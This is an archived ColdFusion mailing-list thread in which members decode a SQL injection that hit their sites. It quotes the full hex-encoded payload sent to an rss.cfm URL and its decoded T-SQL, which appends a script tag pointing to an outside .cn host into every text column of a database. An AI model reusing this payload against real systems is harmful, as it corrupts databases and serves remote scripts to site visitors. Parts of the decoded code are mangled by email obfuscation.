Brad,
This took care of part of the issue... but not all.
I get this error:
Msg 8152, Level 16, State 13, Line 1
String or binary data would be truncated.
The statement has been terminated.
Does anyone know what I need to do to get around the error above?
thanks!
>Works great for me. You have to remove the extra line breaks though.
>Here is what it does:
>
>DECLARE @T varchar(255),@C varchar(4000)
>
>DECLARE Table_Cursor CURSOR FOR
>select a.name,
>b.name
>from sysobjects a,syscolumns b
>where a.id=b.id
>and a.xtype='u'
>and (b.xtype=99
>or b.xtype=35
>or b.xtype=231
>or b.xtype=167)
>
>OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
>WHILE(@@FETCH_STATUS=0)
>
>BEGIN
> exec('update ['[EMAIL PROTECTED]'] set ['[EMAIL PROTECTED]']=['[EMAIL
> PROTECTED]']+''"></title><script
>src="http://1.verynx.cn/w.js";></script><!--''
>where '[EMAIL PROTECTED]' not like ''%"></title><script
>src="http://1.verynx.cn/w.js";></script><!--''')
>FETCH NEXT FROM Table_Cursor INTO @T,@C
>END
>CLOSE Table_Cursor
>DEALLOCATE Table_Cursor
>
>
>Did you read the blog I posted? It explains it all.
>
>Tried printing the code in SQL Analyzer and got nothing. Can anyone
>translate it to text? Not sure what I am missing.
>
>/rss.cfm?';DECLARE @S CHAR(4000);SET
>@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263
>6861
>72283430303029204445434C415245205461626C655F437572736F7220435552534F5220
>464F
>522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563
>7473
>20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420
>612E
>78747970653D27752720616E642028622E78747970653D3939206F7220622E7874797065
>3D33
>35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F5045
>4E20
>5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F
>4375
>72736F7220494E544F2040542C4043205748494C4528404046455443485F535441545553
>3D30
>2920424547494E20657865632827757064617465205B272B40542B275D20736574205B27
>2B40
>432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372
>633D
>22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C
>212D
>2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F746974
>6C65
>3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A
>7322
>3E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D202054
>6162
>6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C65
>5F43
>7572736F72204445414C4C4F43415445205461626C655F437572736F72 AS
>CHAR(4000));EXEC(@S);
>
>it!
>
>Huh... Learn sumptin new every day. That is why I keep coming back here.
>;)
>
>Thanx Brad.
>
>~G~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j
Archive:
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309412
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
